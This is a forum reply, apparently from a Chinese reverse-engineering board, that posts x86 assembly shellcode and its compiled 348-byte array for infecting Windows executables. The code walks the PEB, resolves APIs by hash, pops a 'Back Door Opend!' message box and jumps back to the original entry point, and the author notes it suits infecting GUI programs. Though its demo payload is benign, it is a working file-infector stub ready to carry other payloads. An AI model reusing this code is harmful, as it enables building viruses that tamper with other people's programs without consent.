能力值:
( LV13,RANK:400 )
|
-
-
42 楼
手误,没有把这行代码删掉。
用帖子里的代码进行感染的时候shell code的格式:
LoadLibraryExA_Digest equ 0xc0d83287
LoadLibraryA_Digest equ 0x0C917432
MessageBoxA_Digest equ 0x1E380A6A
FreeLibrary_Digest equ 0x30BA7C8C
use32
shellcode_start:
push ebp ;// 保存栈帧
mov ebp, esp
;// 获取USER32.DLL的基址
call @f
du "USER32.DLL",0
@@:
call get_module_base
test eax, eax
jz ._shellcode_return
push eax ;// [ebp-4]
;// 获取MessageBoxA的地址
push MessageBoxA_Digest
push eax
call get_proc_address_by_digest
test eax, eax
jz ._shellcode_return
;// Shell Code. Shion [Shel l_Co de._ Shio n000
call @f
db "Back Door Opend!", 0
@@:
pop edi
call @f
db 'HA...', 0
@@:
pop esi
push 00000040h
push esi
push edi
push 0
call eax
._shellcode_return:
leave
jmp jmp_to_oep
;/************************************************************************/
;/* some useful procs for shell code programming.
;/* tishion
;/************************************************************************/
use32
get_peb:
mov eax, 30h
mov eax, [fs:eax] ;// eax = ppeb
ret
;/************************************************************************/
;/* Get base address of module
;* tishion
;* 2013-05-26 13:45:20
;* IN:
;* ebp+8 = moudule name null-terminate string [WCHAR]
;*
;* OUT:
;* eax = ntdll.base
;* #define _Wcsnicmp_Digest 0x548b2e5f
;/************************************************************************/
use32
get_module_base:
push ebp
mov ebp, esp
call get_ntdll_base
jz ._find_modulebase_done
push 548b2e5fh ;// hash of _wcsnicmp
push eax
call get_proc_address_by_digest
test eax, eax ;// _wcsnicmp
jz ._find_modulebase_done
push eax ;// [ebp-04h]_wcsnicmp
call get_peb
test eax, eax
jz ._find_modulebase_done
mov eax, [eax+0ch] ;// eax = pLdr pLdr:[PEB_LDR_DATA]
mov esi, [eax+1ch]
jmp ._compare_moudule_name
._find_modulebase_loop:
mov esi, [esi] ;// esi = pLdr->InInitializationOrderModuleList
._compare_moudule_name:
test esi, esi
jz ._find_modulebase_done
xor edi, edi
mov di, word [esi+1ch] ;// length
push edi
push dword [esi+20h] ;// esi = pLdrDataTableEntry.DllBaseName.Buffer [WCHAR]
push dword [ebp+08h]
mov edi, [ebp-04h]
call edi
test eax, eax
jnz ._find_modulebase_loop
mov eax, [esi+08h] ;// eax = pLdrDataTableEntry.DllBase
._find_modulebase_done:
leave
ret 4
;/************************************************************************/
;/* Get base address of ntdll.dll module
;* tishion
;* 2013-05-26 13:45:20
;*
;* OUT:
;* eax = ntdll.base
;/************************************************************************/
use32
get_ntdll_base:
call get_peb
test eax, eax
jz ._find_ntdllbase_done
mov eax, [eax+0ch] ;// eax = pLdr pLdr:[PEB_LDR_DATA]
mov eax, [eax+1ch] ;// eax = pLdr->InInitializationOrderModuleList
mov eax, [eax+08h] ;// eax = pLdrDataTableEntry.DllBase
._find_ntdllbase_done:
ret
;/************************************************************************/
;/* Get function name digest
;* tishion
;* 2013-05-26 13:45:20
;*
;* IN:
;* esi = function name
;* OUT:
;* edx = digest
;/************************************************************************/
use32
get_ansi_string_digest:
push eax
xor edx, edx
._next_char:
xor eax, eax
lodsb
test eax, eax
jz ._done
ror edx, 7
add edx, eax
jmp ._next_char
._done:
pop eax
ret
;/************************************************************************/
;/* Get function address by searching export table
;* tishion
;* 2013-05-26 13:50:13
;*
;* IN:
;* [ebp+8] = module base
;* [ebp+0ch] = function name digest
;* OUT:
;* eax function address (null if failed)
;/************************************************************************/
use32
get_proc_address_by_digest:
push ebp
mov ebp, esp
mov eax, [ebp+8]
add eax, [eax+3ch] ;// eax = ImageNtHeader IMAGE_NT_HEADERS
push eax ;// [ebp-04h]
;//add eax, 18h ;// eax = ImageOptionalHeader IMAGE_OPTIONAL_HEADER
;//add eax, 60h ;// eax = ImageExportDirectoryEntry IMAGE_DIRECTORY_ENTRY_EXPORT
;// 以上两行只是为了让程序流程清晰,为了减小代码长度,合并两条指令为一条,如下:
add eax, 78h
mov eax, [eax] ;// eax = RVA IMAGE_EXPORT_DIRECTORY
add eax, [ebp+08h] ;// eax = ImageExportDirectory IMAGE_EXPORT_DIRECTORY
mov ecx, eax
mov eax, [ecx+20h]
add eax, [ebp+08h] ;// eax = AddressOfNames
push eax ;// [ebp-08h] 导出名称地址表
mov eax, [ecx+24h]
add eax, [ebp+08h] ;// eax = AddressOfNameOrdinals
push eax ;// [ebp-0ch] 导出序号表
mov eax, [ecx+1ch]
add eax, [ebp+08h] ;// eax = AddressOfFunctions
push eax ;// [ebp-10h] 导出RAV地址表
push dword [ecx+10h] ;// [ebp-14h]ordinals base
push dword [ecx+14h] ;// [ebp-18h]NumberOfFunctions
push dword [ecx+18h] ;// [ebp-1ch]NumberOfNames
mov ecx, [ebp-1ch]
mov ebx, ecx
mov eax, [ebp-08h]
._find_func:
mov edi, ebx
sub edi, ecx
mov esi, [eax+edi*4]
test esi, esi ;// esi是否NULL
loope ._find_func
inc ecx
add esi, [ebp+08h]
call get_ansi_string_digest
cmp edx, [ebp+0ch]
loopne ._find_func ;// ecx 为目标函数在函数名数组中的index
xor edx, edx
mov eax, [ebp-0ch]
mov dx, [eax+edi*2]
cmp edx, [ebp-18h]
jae ._return_null
mov eax, [ebp-10h] ;// eax = AddressOfFunctions
mov eax, [eax+edx*4] ;// edi = RVA地址数组的地址 edi+4*序号 即为 某一函数的RVA地址
add eax, [ebp+08h]
jmp ._function_found_done
._return_null:
xor eax, eax
._function_found_done:
leave
ret 8
use32
jmp_to_oep:
jmp shellcode_start
对应的二进制值
unsigned char hexData[348] = {
0x55, 0x89, 0xE5, 0xE8, 0x16, 0x00, 0x00, 0x00,
0x55, 0x00, 0x53, 0x00, 0x45, 0x00, 0x52, 0x00,
0x33, 0x00, 0x32, 0x00, 0x2E, 0x00, 0x44, 0x00,
0x4C, 0x00, 0x4C, 0x00, 0x00, 0x00, 0xE8, 0x4E,
0x00, 0x00, 0x00, 0x85, 0xC0, 0x74, 0x3B, 0x50,
0x68, 0x6A, 0x0A, 0x38, 0x1E, 0x50, 0xE8, 0xB2,
0x00, 0x00, 0x00, 0x85, 0xC0, 0x74, 0x2B, 0xE8,
0x11, 0x00, 0x00, 0x00, 0x42, 0x61, 0x63, 0x6B,
0x20, 0x44, 0x6F, 0x6F, 0x72, 0x20, 0x4F, 0x70,
0x65, 0x6E, 0x64, 0x21, 0x00, 0x5F, 0xE8, 0x06,
0x00, 0x00, 0x00, 0x48, 0x41, 0x2E, 0x2E, 0x2E,
0x00, 0x5E, 0x6A, 0x40, 0x56, 0x57, 0x6A, 0x00,
0xFF, 0xD0, 0xC9, 0xE9, 0xEF, 0x00, 0x00, 0x00,
0xB8, 0x30, 0x00, 0x00, 0x00, 0x64, 0x8B, 0x00,
0xC3, 0x55, 0x89, 0xE5, 0xE8, 0x46, 0x00, 0x00,
0x00, 0x74, 0x40, 0x68, 0x5F, 0x2E, 0x8B, 0x54,
0x50, 0xE8, 0x5F, 0x00, 0x00, 0x00, 0x85, 0xC0,
0x74, 0x31, 0x50, 0xE8, 0xD8, 0xFF, 0xFF, 0xFF,
0x85, 0xC0, 0x74, 0x27, 0x8B, 0x40, 0x0C, 0x8B,
0x70, 0x1C, 0xEB, 0x02, 0x8B, 0x36, 0x85, 0xF6,
0x74, 0x19, 0x31, 0xFF, 0x66, 0x8B, 0x7E, 0x1C,
0x57, 0xFF, 0x76, 0x20, 0xFF, 0x75, 0x08, 0x8B,
0x7D, 0xFC, 0xFF, 0xD7, 0x85, 0xC0, 0x75, 0xE4,
0x8B, 0x46, 0x08, 0xC9, 0xC2, 0x04, 0x00, 0xE8,
0xA4, 0xFF, 0xFF, 0xFF, 0x85, 0xC0, 0x74, 0x09,
0x8B, 0x40, 0x0C, 0x8B, 0x40, 0x1C, 0x8B, 0x40,
0x08, 0xC3, 0x50, 0x31, 0xD2, 0x31, 0xC0, 0xAC,
0x85, 0xC0, 0x74, 0x07, 0xC1, 0xCA, 0x07, 0x01,
0xC2, 0xEB, 0xF2, 0x58, 0xC3, 0x55, 0x89, 0xE5,
0x8B, 0x45, 0x08, 0x03, 0x40, 0x3C, 0x50, 0x83,
0xC0, 0x78, 0x8B, 0x00, 0x03, 0x45, 0x08, 0x89,
0xC1, 0x8B, 0x41, 0x20, 0x03, 0x45, 0x08, 0x50,
0x8B, 0x41, 0x24, 0x03, 0x45, 0x08, 0x50, 0x8B,
0x41, 0x1C, 0x03, 0x45, 0x08, 0x50, 0xFF, 0x71,
0x10, 0xFF, 0x71, 0x14, 0xFF, 0x71, 0x18, 0x8B,
0x4D, 0xE4, 0x89, 0xCB, 0x8B, 0x45, 0xF8, 0x89,
0xDF, 0x29, 0xCF, 0x8B, 0x34, 0xB8, 0x85, 0xF6,
0xE1, 0xF5, 0x41, 0x03, 0x75, 0x08, 0xE8, 0x9F,
0xFF, 0xFF, 0xFF, 0x3B, 0x55, 0x0C, 0xE0, 0xE7,
0x31, 0xD2, 0x8B, 0x45, 0xF4, 0x66, 0x8B, 0x14,
0x78, 0x3B, 0x55, 0xE8, 0x73, 0x0B, 0x8B, 0x45,
0xF0, 0x8B, 0x04, 0x90, 0x03, 0x45, 0x08, 0xEB,
0x02, 0x31, 0xC0, 0xC9, 0xC2, 0x08, 0x00, 0xE9,
0xA4, 0xFE, 0xFF, 0xFF
};
这段代码是假设user32.dll已经被程序载入了的,所以只能用于感染有GUI的exe.
|